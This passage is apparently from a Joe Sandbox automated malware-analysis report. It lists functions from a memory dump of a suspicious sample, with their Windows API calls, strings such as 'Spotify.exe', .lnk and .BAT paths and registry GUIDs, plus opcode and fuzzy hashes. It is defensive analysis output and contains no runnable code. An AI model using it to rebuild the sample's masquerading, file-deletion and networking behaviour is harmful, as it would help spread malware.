Opcode Fuzzy Hash: e79f0dd00376b003c735c67edfd53d585d1f39080c862a119f6a1facfcbffdb6
Instruction Fuzzy Hash: 4ED1CE76209BC58AE774DF15E8843DAB7A1F3C4758F40412ADA8987A9ADFBDC049CF40

Function 011B607B Relevance: 45.2, APIs: 30, Instructions: 156synchronizationmemorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 011B7060: lstrcpyA.KERNEL32 ref: 011B70E4

WaitForSingleObject.KERNEL32 ref: 011B5FCF
WaitForSingleObject.KERNEL32 ref: 011B5FF3
WaitForSingleObject.KERNEL32 ref: 011B600C
setsockopt.WS2_32 ref: 011B60D9
CreateEventW.KERNEL32 ref: 011B60F4
LocalAlloc.KERNEL32 ref: 011B6115
CreateThread.KERNEL32 ref: 011B6166
GetTickCount.KERNEL32 ref: 011B6187
WaitForSingleObject.KERNEL32 ref: 011B61B4
WaitForSingleObject.KERNEL32 ref: 011B61CF
WaitForSingleObject.KERNEL32 ref: 011B61EA
shutdown.WS2_32 ref: 011B62AD
closesocket.WS2_32 ref: 011B62B8
SetEvent.KERNEL32 ref: 011B62CC
WaitForSingleObject.KERNEL32 ref: 011B62DC
CloseHandle.KERNEL32 ref: 011B62FD
LocalFree.KERNEL32 ref: 011B631F
CloseHandle.KERNEL32 ref: 011B632A
shutdown.WS2_32 ref: 011B634B
closesocket.WS2_32 ref: 011B6356
CloseHandle.KERNEL32 ref: 011B6363
ExitProcess.KERNEL32 ref: 011B63AD
WaitForSingleObject.KERNEL32 ref: 011B63C3
WaitForSingleObject.KERNEL32 ref: 011B63D5
SetEvent.KERNEL32 ref: 011B63E7
WaitForSingleObject.KERNEL32 ref: 011B63F7
CloseHandle.KERNEL32 ref: 011B640A
CloseHandle.KERNEL32 ref: 011B6426
CloseHandle.KERNEL32 ref: 011B6441
ReleaseMutex.KERNEL32 ref: 011B645F
CloseHandle.KERNEL32 ref: 011B646A
CloseHandle.KERNEL32 ref: 011B647D
CloseHandle.KERNEL32 ref: 011B6488

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$CloseHandle$Event$CreateLocalclosesocketshutdown$AllocCountExitFreeMutexProcessReleaseThreadTicklstrcpysetsockopt
String ID:
API String ID: 2113405211-0
Opcode ID: 72f5757a7a376f687d51f61d8741ea54f6f949050126bff93f44ef60b437c021
Instruction ID: 1e1389f785ad0d2bc6589ce37d3aafe279059a069344eb3c5e8f1afd57d83ee3
Opcode Fuzzy Hash: 72f5757a7a376f687d51f61d8741ea54f6f949050126bff93f44ef60b437c021
Instruction Fuzzy Hash: 9691CD31108E4482E71CAF55F8983DAB7A1F7D4758F545139E78A86AB8CFBDC48ACB01

Function 011A6D70 Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 246registrymemorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011A6DF1
lstrcpyW.KERNEL32 ref: 011A6E12
StrStrIW.SHLWAPI ref: 011A6E24
RegGetValueW.ADVAPI32 ref: 011A6EA5
LocalAlloc.KERNEL32 ref: 011A6EE0
RegGetValueW.ADVAPI32 ref: 011A6F37

Strings

{A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}, xrefs: 011A6E47
SOFTWARE\%s, xrefs: 011A6E4E
.DLL, xrefs: 011A6E18

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AllocLocalValue$lstrcpy
String ID: .DLL$SOFTWARE\%s${A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}
API String ID: 2708694652-2548481518
Opcode ID: 2348beeeb3ace8f3efc143e333d405a207f50077d86310ab65bc4b18a82b5d72
Instruction ID: f14cda96b10dda8dfc105c362f061e8f430904dde48b455d6466ac53132a5372
Opcode Fuzzy Hash: 2348beeeb3ace8f3efc143e333d405a207f50077d86310ab65bc4b18a82b5d72
Instruction Fuzzy Hash: CDD10936208AC582D779DB15F4983DAB7A5F7C8754F800126EB8987BA8DF7CC685CB40

Function 011C22FC Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 136libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 011C2341
GetProcAddress.KERNEL32 ref: 011C235D
EncodePointer.KERNEL32 ref: 011C236F
GetProcAddress.KERNEL32 ref: 011C2386
EncodePointer.KERNEL32 ref: 011C238F
GetProcAddress.KERNEL32 ref: 011C23A6
EncodePointer.KERNEL32 ref: 011C23AF
GetProcAddress.KERNEL32 ref: 011C23C6
EncodePointer.KERNEL32 ref: 011C23CF
GetProcAddress.KERNEL32 ref: 011C23EE
EncodePointer.KERNEL32 ref: 011C23F7
DecodePointer.KERNEL32 ref: 011C242A
DecodePointer.KERNEL32 ref: 011C243A
DecodePointer.KERNEL32 ref: 011C2490
DecodePointer.KERNEL32 ref: 011C24B1
DecodePointer.KERNEL32 ref: 011C24CB

Strings

GetProcessWindowStation, xrefs: 011C23E4
GetLastActivePopup, xrefs: 011C2395
GetUserObjectInformationW, xrefs: 011C23B5
USER32.DLL, xrefs: 011C233A
MessageBoxW, xrefs: 011C2353
GetActiveWindow, xrefs: 011C2375

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2643518689-564504941
Opcode ID: 7090a6912252181c11309324482eece1369c3d73ab31ba803f76b70732032b00
Instruction ID: 88b8e0c57e6f4dfcb3ff9aa269cdea8249ac0ae83a0be88c094b93a1b8c8db1d
Opcode Fuzzy Hash: 7090a6912252181c11309324482eece1369c3d73ab31ba803f76b70732032b00
Instruction Fuzzy Hash: E851F430246B1287FE1DDB5AF9987E4A7A1AB99F94F480529DE0E47760EF7CC086C350

Function 011A0330 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 109sleepregistrymemoryCOMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32 ref: 011A0351
SetEvent.KERNEL32 ref: 011A0372
CloseHandle.KERNEL32 ref: 011A0380
OpenMutexW.KERNEL32 ref: 011A03A0
WaitForSingleObject.KERNEL32 ref: 011A03C6
CloseHandle.KERNEL32 ref: 011A03D4
SHGetKnownFolderPath.SHELL32 ref: 011A03EE
LocalAlloc.KERNEL32 ref: 011A0406
lstrlenW.KERNEL32 ref: 011A0467
GetFileAttributesW.KERNEL32 ref: 011A04F3
SHFileOperationW.SHELL32 ref: 011A0512
Sleep.KERNEL32 ref: 011A0533
LocalFree.KERNEL32 ref: 011A0543
CoTaskMemFree.COMBASE ref: 011A0551
wnsprintfW.SHLWAPI ref: 011A057E
RegDeleteKeyExW.ADVAPI32 ref: 011A0596

Strings

{879A1041-844E-4627-80AA-671B6A2BAF85}, xrefs: 011A0392
Software\%s, xrefs: 011A056D
%s\%s, xrefs: 011A0446
{B3B950ED-5348-42C3-8F9D-35ED97437688}, xrefs: 011A0432
{B460010D-5A49-4128-956F-F4F85783CDFC}, xrefs: 011A0343
{DAAFDD52-2BC1-4ADF-98A5-0925A79F94FC}, xrefs: 011A0566

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseEventFileFreeHandleLocalOpen$AllocAttributesDeleteFolderKnownMutexObjectOperationPathSingleSleepTaskWaitlstrlenwnsprintf
String ID: %s\%s$Software\%s${879A1041-844E-4627-80AA-671B6A2BAF85}${B3B950ED-5348-42C3-8F9D-35ED97437688}${B460010D-5A49-4128-956F-F4F85783CDFC}${DAAFDD52-2BC1-4ADF-98A5-0925A79F94FC}
API String ID: 896765885-1487312853
Opcode ID: aa61388fdc8b11f3591512eaecf8e0fd313092e702345adb2aa1c8fe6131f3b2
Instruction ID: 7e437ce3e791eedce97b8a849d397bcb5c279b31aff62656e3c8155a846b75ae
Opcode Fuzzy Hash: aa61388fdc8b11f3591512eaecf8e0fd313092e702345adb2aa1c8fe6131f3b2
Instruction Fuzzy Hash: B051FB75218AC4C1E778EF15E8543DA73A5FBC8754F408125E7DA82AA8DF3DC54ACB80

Function 011A33C0 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011A33FE
LocalAlloc.KERNEL32 ref: 011A3519
GetWindowsDirectoryW.KERNEL32 ref: 011A3543
LocalFree.KERNEL32 ref: 011A35BC
SHGetKnownFolderPath.SHELL32 ref: 011A35FC
CoTaskMemFree.COMBASE ref: 011A364D
SHGetKnownFolderPath.SHELL32 ref: 011A36A7
LocalAlloc.KERNEL32 ref: 011A3748
GetTempPathW.KERNEL32 ref: 011A3772
_LDint.LIBCPMTD ref: 011A3788
LocalFree.KERNEL32 ref: 011A37F3
SHGetKnownFolderPath.SHELL32 ref: 011A3833
CoTaskMemFree.COMBASE ref: 011A36F8

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

CoTaskMemFree.COMBASE ref: 011A3884
LocalFree.KERNEL32 ref: 011A38C2

Strings

'%s%s', xrefs: 011A3584
'%s%s', xrefs: 011A362F
'%s%s', xrefs: 011A3866
'%s%s', xrefs: 011A36DA
'%s', xrefs: 011A34B9
'%s%s', xrefs: 011A37BB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocal$Path$AllocFolderKnownTask$DintDirectoryTempWindows_errno_invalid_parameter_noinfo
String ID: '%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s'
API String ID: 4190533178-4258658051
Opcode ID: 9d299084846ee36301d4091e611f11500f5bdb191849758f0b1889b946ce3dcf
Instruction ID: 46d6fbbeacd930d1f490e5a50c92889b663b1bc30b36ef2c9eb20e83c8817ea0
Opcode Fuzzy Hash: 9d299084846ee36301d4091e611f11500f5bdb191849758f0b1889b946ce3dcf
Instruction Fuzzy Hash: B5C10776218AC586DB78DF14E8983EAB764F7C4B49F900226D68E47B68DF7CC446CB04

Function 0119B5A0 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 126memoryprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 0119B650
SetEvent.KERNEL32 ref: 0119B6BF
LocalAlloc.KERNEL32 ref: 0119B6CF
wnsprintfW.SHLWAPI ref: 0119B73F
LocalAlloc.KERNEL32 ref: 0119B74F
wnsprintfW.SHLWAPI ref: 0119B794
CreateProcessW.KERNEL32 ref: 0119B803
LocalFree.KERNEL32 ref: 0119B818
LocalFree.KERNEL32 ref: 0119B826
LocalFree.KERNEL32 ref: 0119B834
OpenEventW.KERNEL32 ref: 0119B848
SetEvent.KERNEL32 ref: 0119B869
CloseHandle.KERNEL32 ref: 0119B877
shutdown.WS2_32 ref: 0119B887
closesocket.WS2_32 ref: 0119B892

Part of subcall function 0119FBA0: CreateDirectoryW.KERNEL32 ref: 0119FBD8
Part of subcall function 0119FBA0: GetLastError.KERNEL32 ref: 0119FBE3
Part of subcall function 0119FBA0: LocalAlloc.KERNEL32 ref: 0119FBFE
Part of subcall function 0119FBA0: CreateFileW.KERNEL32 ref: 0119FC6E
Part of subcall function 0119FBA0: GetLastError.KERNEL32 ref: 0119FC79
Part of subcall function 0119FBA0: LocalFree.KERNEL32 ref: 0119FD16
Part of subcall function 0119FBA0: LocalFree.KERNEL32 ref: 0119FD21

Strings

{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 0119B83A
%s%s, xrefs: 0119B72B
h, xrefs: 0119B7AC
Spotify.exe, xrefs: 0119B717
{8BF89F76-FE32-4DAA-9B54-D6ACD7227894}, xrefs: 0119B76C
"%s" %s, xrefs: 0119B780

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocCreateEvent$ErrorLastwnsprintf$CloseDirectoryFileHandleOpenProcessclosesocketsetsockoptshutdown
String ID: "%s" %s$%s%s$Spotify.exe$h${29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}${8BF89F76-FE32-4DAA-9B54-D6ACD7227894}
API String ID: 16435842-1927095226
Opcode ID: 9e89ed8c19ecba7075bface1c20789852e7befcd0a498730b83c385b5a8a6b61
Instruction ID: 7afb8e7ea08025069f6a805ef19aa4134a35d868352b1bd584deb0f45a3be109
Opcode Fuzzy Hash: 9e89ed8c19ecba7075bface1c20789852e7befcd0a498730b83c385b5a8a6b61
Instruction Fuzzy Hash: E171E536208B8586EB749F14F4543DAB7A0F788748F50412AEB8E47B68DF7CC089CB40

Function 0119F850 Relevance: 33.3, APIs: 14, Strings: 5, Instructions: 95memoryprocessstringCOMMON

Download Yara Rule

APIs

Part of subcall function 0119F510: SHGetKnownFolderPath.SHELL32 ref: 0119F587
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F59A
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F5B5
Part of subcall function 0119F510: LocalAlloc.KERNEL32 ref: 0119F5DC
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F620
Part of subcall function 0119F510: CoTaskMemFree.COMBASE ref: 0119F635

LocalAlloc.KERNEL32 ref: 0119F88C
LocalFree.KERNEL32 ref: 0119FA3D

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

LocalAlloc.KERNEL32 ref: 0119F8D4
GetModuleFileNameW.KERNEL32 ref: 0119F8F8
lstrcmpiW.KERNEL32 ref: 0119F910
LocalAlloc.KERNEL32 ref: 0119F928
CreateProcessW.KERNEL32 ref: 0119F9D9
LocalFree.KERNEL32 ref: 0119F9E9
LocalFree.KERNEL32 ref: 0119F9F4
LocalFree.KERNEL32 ref: 0119F9FF
LocalFree.KERNEL32 ref: 0119FA0A
LocalFree.KERNEL32 ref: 0119FA1C
LocalFree.KERNEL32 ref: 0119FA27
LocalFree.KERNEL32 ref: 0119FA32

Strings

{72A3B189-93CE-456F-B494-1FB1DB2DA359}, xrefs: 0119F93F
"%s%s" %s, xrefs: 0119F95C
Spotify.exe, xrefs: 0119F8A3, 0119F94B
h, xrefs: 0119F987
%s%s, xrefs: 0119F8B4

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrlen$CreateFileFolderKnownModuleNamePathProcessTask_errno_invalid_parameter_noinfolstrcmpi
String ID: "%s%s" %s$%s%s$Spotify.exe$h${72A3B189-93CE-456F-B494-1FB1DB2DA359}
API String ID: 2909854553-2820493250
Opcode ID: 06ff2f03f017136b877fb76b6e4b697c3f15a49a82f8356fb0cfb4661937b634
Instruction ID: 098a2825e59c6ec4363788d7eac3425fb4df918ca7cff172dadc7d818178f69d
Opcode Fuzzy Hash: 06ff2f03f017136b877fb76b6e4b697c3f15a49a82f8356fb0cfb4661937b634
Instruction Fuzzy Hash: B451D975218F8582EB289F55F8843DAB7A1F784798F500129EB9A87B68DF7CD446CF00

Function 011A05B0 Relevance: 33.3, APIs: 13, Strings: 6, Instructions: 77memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,01194277), ref: 011A05CB
SHGetKnownFolderPath.SHELL32 ref: 011A05EF
DeleteFileW.KERNEL32 ref: 011A0625
CoTaskMemFree.COMBASE ref: 011A0630
LocalFree.KERNEL32 ref: 011A063B

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

SHGetKnownFolderPath.SHELL32 ref: 011A0652
LocalAlloc.KERNEL32 ref: 011A066A
LocalAlloc.KERNEL32 ref: 011A06B2
DeleteFileW.KERNEL32 ref: 011A06FD
RemoveDirectoryW.KERNEL32 ref: 011A0708
LocalFree.KERNEL32 ref: 011A0713
LocalFree.KERNEL32 ref: 011A071E
CoTaskMemFree.COMBASE ref: 011A0729

Strings

%s\%s.lnk, xrefs: 011A060A
%s\%s, xrefs: 011A0692
%s\%s\%s.BAT, xrefs: 011A06E2
{59F96D5E-CD6F-4CE9-A7AC-B25AA1603F57}, xrefs: 011A0681, 011A06D1
{86AF6429-A287-4799-A229-A26E86AD3DD4}, xrefs: 011A06C5
{6DB2FA6A-A410-4600-BDD4-784394A68FBE}, xrefs: 011A05F9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DeleteFileFolderKnownPathTask$DirectoryRemove_errno_invalid_parameter_noinfo
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.BAT${59F96D5E-CD6F-4CE9-A7AC-B25AA1603F57}${6DB2FA6A-A410-4600-BDD4-784394A68FBE}${86AF6429-A287-4799-A229-A26E86AD3DD4}
API String ID: 2670229135-1971567089
Opcode ID: ee807f0401cb86cae143b0ceb8c4b664d2171896d18112f7cba7b98ddbca63bf
Instruction ID: 684e2f9eac7879e2aa8f2cd6f84532c21a1c07b8cc9bb3ec3ded056258d22799
Opcode Fuzzy Hash: ee807f0401cb86cae143b0ceb8c4b664d2171896d18112f7cba7b98ddbca63bf
Instruction Fuzzy Hash: 6241D835214E8582E718AF54E8547DAA765FBC8B59F900136FB8E47A68DF3CC446CB00

Function 011BBBC4 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 011B858C: RtlLookupFunctionEntry.KERNEL32 ref: 011B8600

__GetUnwindTryBlock.LIBCMT ref: 011BBC28
__SetUnwindTryBlock.LIBCMT ref: 011BBC4F

Part of subcall function 011B8F9C: RaiseException.KERNEL32 ref: 011B9017

__GetUnwindTryBlock.LIBCMT ref: 011BBC59
_getptd.LIBCMT ref: 011BBCAF
_getptd.LIBCMT ref: 011BBCC2
_getptd.LIBCMT ref: 011BBCCE
_SetThrowImageBase.LIBCMT ref: 011BBCE2
_getptd.LIBCMT ref: 011BBD32
_getptd.LIBCMT ref: 011BBD45
_getptd.LIBCMT ref: 011BBD51
type_info::operator==.LIBCMT ref: 011BBDB8
std::exception::exception.LIBCMT ref: 011BBDF1
_getptd.LIBCMT ref: 011BC024
std::exception::exception.LIBCMT ref: 011BC09D

Strings

csm, xrefs: 011BBCFD
csm, xrefs: 011BBC6F
csm, xrefs: 011BBE16
bad exception, xrefs: 011BBDDE

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseEntryExceptionFunctionImageLookupRaiseThrowtype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 1639654010-820278400
Opcode ID: bf0900ad2434befe3400db7cfff43b82b0c2f0a01f0478dde28f429e9c436658
Instruction ID: d14d67d9d5d2737df3164be16f1456346bfdaf9932c5391c083a426838f969b7
Opcode Fuzzy Hash: bf0900ad2434befe3400db7cfff43b82b0c2f0a01f0478dde28f429e9c436658
Instruction Fuzzy Hash: 8AD1BC366046428ADB2CEF6AE0C03EE3BA5FB59B8CF444529DF4A57B14DB38C055C74A

Function 0119FBA0 Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 93memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0119F510: SHGetKnownFolderPath.SHELL32 ref: 0119F587
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F59A
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F5B5
Part of subcall function 0119F510: LocalAlloc.KERNEL32 ref: 0119F5DC
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F620
Part of subcall function 0119F510: CoTaskMemFree.COMBASE ref: 0119F635

CreateDirectoryW.KERNEL32 ref: 0119FBD8
GetLastError.KERNEL32 ref: 0119FBE3
LocalAlloc.KERNEL32 ref: 0119FBFE
CreateFileW.KERNEL32 ref: 0119FC6E
GetLastError.KERNEL32 ref: 0119FC79
LocalFree.KERNEL32 ref: 0119FD16
LocalFree.KERNEL32 ref: 0119FD21
LocalFree.KERNEL32 ref: 0119FD77

Strings

P, xrefs: 0119FC96
%s%s, xrefs: 0119FC26
Spotify.exe, xrefs: 0119FC15

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
